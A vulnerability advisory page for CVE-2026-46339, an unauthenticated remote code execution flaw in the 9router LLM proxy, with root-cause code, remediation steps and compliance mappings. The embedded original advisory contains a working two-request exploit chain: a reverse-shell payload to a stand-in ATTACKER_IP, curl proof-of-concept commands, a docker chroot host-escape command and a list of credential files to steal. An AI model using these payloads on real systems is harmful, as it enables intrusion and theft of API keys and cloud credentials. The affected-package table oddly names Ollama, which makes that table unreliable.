CVE-2026-46339: 9router: unauthenticated RCE exposes LLM API keys

GHSA-fhh6-4qxv-rpqj CRITICAL
Published May 19, 2026
CISO Take

9router, a widely deployed LLM proxy router, contains a critical authentication gap introduced in v0.4.30 that allows any unauthenticated attacker with network access to execute arbitrary OS commands in under two seconds — no credentials, no prior access, no prerequisites. With 4,917 downstream dependents and a CVSS of 10.0, this affects a substantial slice of AI infrastructure; a compromised 9router host typically holds the most sensitive assets in an AI stack: Anthropic API tokens (~/.claude/settings.json), AWS credentials, TLS private keys, and all stored LLM provider configurations in the local SQLite database. The advisory includes a working proof-of-concept that achieves a full reverse shell in two HTTP requests, and confirmed docker group membership on tested hosts enables immediate container escape to host root. Patch to v0.4.37 immediately, rotate all API keys stored on any host that ran v0.4.30 through v0.4.33, and treat all exposed credentials as compromised.

Sources: GitHub Advisory NVD ATLAS

What is the risk?

Rated maximum severity (CVSS 10.0) and functionally pre-weaponized. The exploit chain is trivially reproducible from the published advisory with no AI or security expertise required: two unauthenticated HTTP requests yield remote code execution. Default Docker binding on 0.0.0.0:20128 means any host reachable over LAN or misconfigured firewall is instantly vulnerable. The blast radius extends beyond the 9router process — confirmed docker group membership enables host root escalation, and the process inherits the full environment including secrets injected via environment variables. No KEV listing yet, but the published PoC script and zero-barrier exploitation make active exploitation likely within days of public disclosure.

How does the attack unfold?

Unauthenticated Plugin Registration
Attacker sends a crafted POST to /api/cli-tools/cowork-settings with a malicious customPlugin entry containing an attacker-controlled command and args; no authentication is enforced because the route falls outside the Next.js middleware matcher.
AML.T0049
Payload Persistence in Process State
The malicious plugin command and args are stored verbatim in globalThis.__9routerCustomPlugins via registerCustomPlugin(), persisting in the Node.js process heap and surviving hot module replacement.
AML.T0081
OS Command Execution via SSE Trigger
Attacker issues an unauthenticated GET to /api/mcp/{pluginname}/sse, causing 9router to invoke spawn() with the stored attacker-controlled binary and arguments, establishing a reverse shell in under two seconds.
AML.T0072
AI Credential Exfiltration and Privilege Escalation
From the reverse shell, the attacker harvests Anthropic API tokens from ~/.claude/settings.json, all LLM provider keys from the 9router SQLite database, and AWS credentials; docker group membership is then leveraged to escape to host root.
AML.T0083

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Ollama npm >= 0.4.30, < 0.4.37 0.4.37
175.0K 1.6K dependents Pushed 6d ago 11% patched ~18d to patch Full package profile →

Do you use Ollama? You're affected.

How severe is it?

CVSS 3.1
10.0 / 10
EPSS
0.1%
chance of exploitation in 30 days
Higher than 35% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Changed
C High
I High
A High

What should I do?

6 steps
  1. Patch immediately: upgrade 9router to v0.4.37 which extends the Next.js middleware matcher to cover /api/cli-tools/* and /api/mcp/* routes.

  2. If immediate patching is not possible, block all external and LAN access to port 20128 using host firewall rules (iptables -A INPUT -p tcp --dport 20128 -j DROP, except from localhost).

  3. Rotate all API keys stored on any host that ran an affected version: Anthropic, OpenAI, and all other LLM provider keys, plus AWS credentials.

  4. Audit ~/.claude/settings.json, ~/.aws/credentials, and the 9router SQLite database (DATA_DIR/db.sqlite) for evidence of unauthorized access.

  5. Indicator of compromise: check for /tmp/pwned.txt (PoC 1 artifact), unexpected outbound connections to novel IPs, and unfamiliar entries in $HOME/.bash_history or process logs.

  6. Apply defense-in-depth fixes from the advisory: command allowlist in registerCustomPlugin() and input sanitization at the cowork-settings API boundary, to protect against authenticated-user abuse post-patch.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.2.6 - Security of the AI system A.9.3 - AI system incident management
NIST AI RMF
GOVERN 6.2 - Policies and processes for AI cybersecurity and resilience MANAGE 2.2 - Mechanisms to sustain value and address risks of deployed AI systems
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-46339?

9router, a widely deployed LLM proxy router, contains a critical authentication gap introduced in v0.4.30 that allows any unauthenticated attacker with network access to execute arbitrary OS commands in under two seconds — no credentials, no prior access, no prerequisites. With 4,917 downstream dependents and a CVSS of 10.0, this affects a substantial slice of AI infrastructure; a compromised 9router host typically holds the most sensitive assets in an AI stack: Anthropic API tokens (~/.claude/settings.json), AWS credentials, TLS private keys, and all stored LLM provider configurations in the local SQLite database. The advisory includes a working proof-of-concept that achieves a full reverse shell in two HTTP requests, and confirmed docker group membership on tested hosts enables immediate container escape to host root. Patch to v0.4.37 immediately, rotate all API keys stored on any host that ran v0.4.30 through v0.4.33, and treat all exposed credentials as compromised.

Is CVE-2026-46339 actively exploited?

No confirmed active exploitation of CVE-2026-46339 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-46339?

1. Patch immediately: upgrade 9router to v0.4.37 which extends the Next.js middleware matcher to cover /api/cli-tools/* and /api/mcp/* routes. 2. If immediate patching is not possible, block all external and LAN access to port 20128 using host firewall rules (iptables -A INPUT -p tcp --dport 20128 -j DROP, except from localhost). 3. Rotate all API keys stored on any host that ran an affected version: Anthropic, OpenAI, and all other LLM provider keys, plus AWS credentials. 4. Audit ~/.claude/settings.json, ~/.aws/credentials, and the 9router SQLite database (DATA_DIR/db.sqlite) for evidence of unauthorized access. 5. Indicator of compromise: check for /tmp/pwned.txt (PoC 1 artifact), unexpected outbound connections to novel IPs, and unfamiliar entries in $HOME/.bash_history or process logs. 6. Apply defense-in-depth fixes from the advisory: command allowlist in registerCustomPlugin() and input sanitization at the cowork-settings API boundary, to protect against authenticated-user abuse post-patch.

What systems are affected by CVE-2026-46339?

This vulnerability affects the following AI/ML architecture patterns: LLM API proxy infrastructure, MCP server infrastructure, AI agent frameworks, Local AI development environments, Multi-provider LLM routing layers.

What is the CVSS score for CVE-2026-46339?

CVE-2026-46339 has a CVSS v3.1 base score of 10.0 (CRITICAL). The EPSS exploitation probability is 0.15%.

What is the AI security impact?

Affected AI Architectures

LLM API proxy infrastructureMCP server infrastructureAI agent frameworksLocal AI development environmentsMulti-provider LLM routing layers

MITRE ATLAS Techniques

AML.T0037 Data from Local System
AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0053 AI Agent Tool Invocation
AML.T0055 Unsecured Credentials
AML.T0072 Reverse Shell
AML.T0081 Modify AI Agent Configuration
AML.T0083 Credentials from AI Agent Configuration

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: A.6.2.6, A.9.3
NIST AI RMF: GOVERN 6.2, MANAGE 2.2
OWASP LLM Top 10: LLM02:2025, LLM06:2025

What are the technical details?

Original Advisory

## Summary 9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with **zero prerequisites** and **no credentials required**. The vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives **no authentication whatsoever**. --- ## Root Cause ### 1. Middleware Allowlist Is Too Narrow **File:** `src/proxy.js` ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", ], }; ``` Next.js middleware only runs on routes matching this list. Routes NOT listed — including `/api/cli-tools/*` and `/api/mcp/*` — bypass the `dashboardGuard` auth check entirely. ### 2. Unguarded Endpoint Accepts Arbitrary Command Registration **File:** `src/app/api/cli-tools/cowork-settings/route.js`, lines 292–319 ```js export async function POST(request) { const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json(); // ... const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : []; if (customPluginsArray.length > 0) { const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge"); const stdioCustoms = customPluginsArray .filter((p) => p.command) .map((p) => ({ name: p.name, command: p.command, // ← attacker-controlled, no validation args: p.args || [], // ← attacker-controlled, no validation })); for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis } } ``` The `command` and `args` fields from the attacker's JSON are stored verbatim into `globalThis.__9routerCustomPlugins` — a process-global Map that survives Hot Module Replacement. **File:** `src/lib/mcp/stdioSseBridge.js`, lines 114–116 ```js function registerCustomPlugin(def) { getCustomStore().set(def.name, def); // no validation of command/args } ``` ### 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command **File:** `src/app/api/mcp/[plugin]/sse/route.js`, lines 6–25 ```js export async function GET(request, { params }) { const { plugin } = await params; if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 }); const stream = new ReadableStream({ start(controller) { sid = registerSession(plugin, send); // ← spawn() called here }, }); return new Response(stream, { ... }); } ``` **File:** `src/lib/mcp/stdioSseBridge.js`, line 138 ```js const proc = spawn(plugin.command, plugin.args, { stdio: ["pipe", "pipe", "pipe"], env: process.env, // inherits full environment }); ``` `spawn()` is called with `shell: false` (default), but since the attacker controls **both** `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution. --- ## Attack Chain ``` Attacker (no credentials) │ │ Step 1 — Register malicious plugin (POST, no auth) ▼ POST /api/cli-tools/cowork-settings Content-Type: application/json { "baseUrl": "x", "apiKey": "x", "models": ["x"], "customPlugins": [{ "name": "rev", "command": "/bin/bash", "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"] }] } ← {"success":true, ...} │ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth) ▼ GET /api/mcp/rev/sse ← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."]) ← Reverse shell connects to attacker ``` **Time to exploit from first request:** < 2 seconds. **Prerequisites:** Network access to port 20128 (Docker default: `0.0.0.0:20128`). --- ## Proof of Concept ### PoC 1 — File Write (no listener required) ```bash # Step 1: Register payload curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \ -H 'Content-Type: application/json' \ -d '{ "baseUrl":"x","apiKey":"x","models":["x"], "customPlugins":[{ "name":"rce1", "command":"/bin/sh", "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"] }] }' # → {"success":true,...} # Step 2: Trigger curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1 # Verify cat /tmp/pwned.txt ``` **Observed output (on local test instance):** ``` uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama) sondt23 VSOC-sondt23-L Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux ``` ### PoC 2 — Automated PoC script ```bash # File write mode (for report) python3 poc.py --target http://TARGET:20128 --mode file # Reverse shell mode (interactive) python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444 ``` The script (`poc.py`) is included in this advisory. --- ## Impact | Category | Detail | |---|---| | **Confidentiality** | Full read access to server filesystem — API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials | | **Integrity** | Arbitrary file write, persistence via cron/systemd | | **Availability** | Process termination, resource exhaustion | | **Lateral movement** | `docker` group membership (confirmed in test) allows full container escape → host root | | **Scope** | Remote, unauthenticated, network-accessible | ### High-value exfiltration targets on a typical 9router host - `~/.claude/settings.json` — `ANTHROPIC_AUTH_TOKEN` - `~/.aws/credentials`, `~/.aws/sso/cache/*.json` — AWS keys - `$DATA_DIR/db.sqlite` — 9router local database (all stored API keys, provider configs) - TLS private keys managed by the MITM proxy (`src/mitm/`) --- ## Affected Versions | Version | Affected | Notes | |---|---|---| | < v0.4.30 | No | `cowork-settings` and MCP SSE bridge did not exist | | v0.4.30 | **Yes** | Introduced in commit `8f4d29c` (2026-05-11) | | v0.4.31 | **Yes** | | | v0.4.32 | **Yes** | | | v0.4.33 | **Yes** | Latest at time of disclosure | The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes. --- ## Remediation ### Fix 1 — Extend middleware matcher (minimal fix) **File:** `src/proxy.js` ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", // ADD these: "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` ### Fix 2 — Validate `command` in `registerCustomPlugin` (defense-in-depth) **File:** `src/lib/mcp/stdioSseBridge.js` ```js const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]); function registerCustomPlugin(def) { const bin = def.command?.split("/").pop(); // basename only if (!ALLOWED_MCP_COMMANDS.has(bin)) { throw new Error(`Blocked: command '${def.command}' not in allowlist`); } getCustomStore().set(def.name, def); } ``` ### Fix 3 — Sanitize `customPlugins` at the API boundary **File:** `src/app/api/cli-tools/cowork-settings/route.js`, line 312 ```js const stdioCustoms = customPluginsArray .filter((p) => p.command && typeof p.command === "string") .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check .map((p) => ({ name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name command: p.command, args: (p.args || []).map(String), })); ``` **All three fixes should be applied together.** Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature. ---

Exploitation Scenario

An adversary conducting reconnaissance on an organization's AI development infrastructure identifies a 9router instance bound to 0.0.0.0:20128 — a common default in Docker-based AI dev environments. In step one, they POST a crafted payload to /api/cli-tools/cowork-settings registering a reverse shell as a custom MCP plugin named 'rev', with command /bin/bash and args pointing to their listener. The server returns HTTP 200 with no authentication challenge. In step two, they trigger GET /api/mcp/rev/sse, which causes 9router to spawn the bash reverse shell. Within seconds the adversary has an interactive shell as the developer's user account, retrieves ~/.claude/settings.json to harvest the Anthropic API token, dumps db.sqlite for all stored LLM provider keys, and pivots to AWS via ~/.aws/credentials. Because the compromised user is in the docker group (confirmed in the advisory's test run), they then escape to host root via 'docker run -v /:/mnt --rm -it alpine chroot /mnt sh'. All stolen API keys are subsequently used to exfiltrate proprietary model prompts, training pipelines, and organizational AI infrastructure from cloud provider accounts.

Weaknesses (CWE)

CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

  • [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Timeline

Published
May 19, 2026
Last Modified
May 19, 2026
First Seen
May 19, 2026

Related Vulnerabilities